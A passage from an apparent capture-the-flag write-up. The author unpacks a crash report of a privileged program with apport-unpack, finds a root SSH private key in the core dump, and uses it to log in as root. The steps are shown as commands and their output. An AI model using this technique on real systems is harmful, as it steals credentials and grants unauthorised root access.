 VmPin:        0 kB
 VmHWM:      592 kB
 VmRSS:      592 kB
 RssAnon:             68 kB
 RssFile:            524 kB
 RssShmem:             0 kB
 VmData:             180 kB
 VmStk:      132 kB
 VmExe:        8 kB
 VmLib:     1644 kB
 VmPTE:       44 kB
 VmSwap:               0 kB
 HugetlbPages:         0 kB
 CoreDumping:   1
 THP_enabled:   1
 Threads:       1
 SigQ:  0/15392
 SigPnd:        0000000000000000
 ShdPnd:        0000000000000000
 SigBlk:        0000000000000000
 SigIgn:        0000000001001000
 SigCgt:        0000000000000000
 CapInh:        0000000000000000
 CapPrm:        0000000000000000
 CapEff:        0000000000000000
 CapBnd:        0000003fffffffff
 CapAmb:        0000000000000000
 NoNewPrivs:    0
 Seccomp:       0
 Speculation_Store_Bypass:      thread vulnerable
 Cpus_allowed:  1
 Cpus_allowed_list:     0
 Mems_allowed:  00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
 Mems_allowed_list:     0
 voluntary_ctxt_switches:       4
 nonvoluntary_ctxt_switches:    10
Signal: 6
Uname: Linux 5.4.0-89-generic x86_64
UserGroups: N/A
CoreDump: base64

That’s a lot of data but not much that we can do something useful with. Let’s use a tool to make it a bit more readable.

$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
$ ls /tmp/crash
ls /tmp/crash
Architecture  DistroRelease        ProblemType  ProcEnviron  Signal
CoreDump      ExecutablePath       ProcCmdline  ProcMaps     Uname
Date          ExecutableTimestamp  ProcCwd      ProcStatus   UserGroups
$ cat /tmp/crash/CoreDump
cat /tmp/crash/CoreDump
p-�XX�f, 3@1#VX�Y,�XFpA@1#V�������B��X��&2#VB��X3]�7�+@�,�X�CORER@��ʀʀcount./count �IGISCORE�@CORE!��7����d@ @1#V8
�X��X��Xp'�X%p'�X,�X�,�X ,�X� ,�XP,�X�P,�X�,�X�p-�X�-�X�-�X�/�X�/�X00�X$@0�XP0�X,P0�X`0�X-/opt/count/opt/count/opt/count/opt/count/opt/count/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/libc-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.so/usr/lib/x86_64-linux-gnu/ld-2.31.soCORE�����&2#V��&2#V a file? [y/N]: �l characters = 2//////////////// �,�Xile? [y/N]: Pat@LINUX�����&2#V��&2#V a file? [y/N]: �l characters = 2//////////////// �,�Xile?@@@@�▒▒▒ atELF> @�=@8

Ther´s a lot of binary unreadable stuff in there but if we scroll down just a bit we find:


Praise the dark lord!!! We got an open ssh private key that we can use to login to the system using ssh. Save the key into a file called id_rsa, fix the access to the file and use it with ssh.

└─$ chmod 600 id_rsa                 
└─$ ssh -i id_rsa [email protected]
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:YNT38/psf6LrGXZJZYJVglUOKXjstxzWK5JJU7zzp3g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 04 Nov 2021 05:05:46 PM UTC

  System load:  0.01              Processes:             219
  Usage of /:   52.8% of 8.79GB   Users logged in:       0
  Memory usage: 14%               IPv4 address for eth0:
  Swap usage:   0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Oct 26 16:35:01 2021 from
root@secret:~# cat root.txt

We are in! We are root! We are happy.


We all like when a box is as realistic and close to reall world as possible, I do not concider the path to user real world like. It´s a bit strange but still good things to learn about like JWT and understanding the anatomy of a NodeJS application.

To be honest root is not that realistic either. But no one of us had really used a core dump to reveal sensitive information before. So we learned some new things there.

Until next time, happy hacking!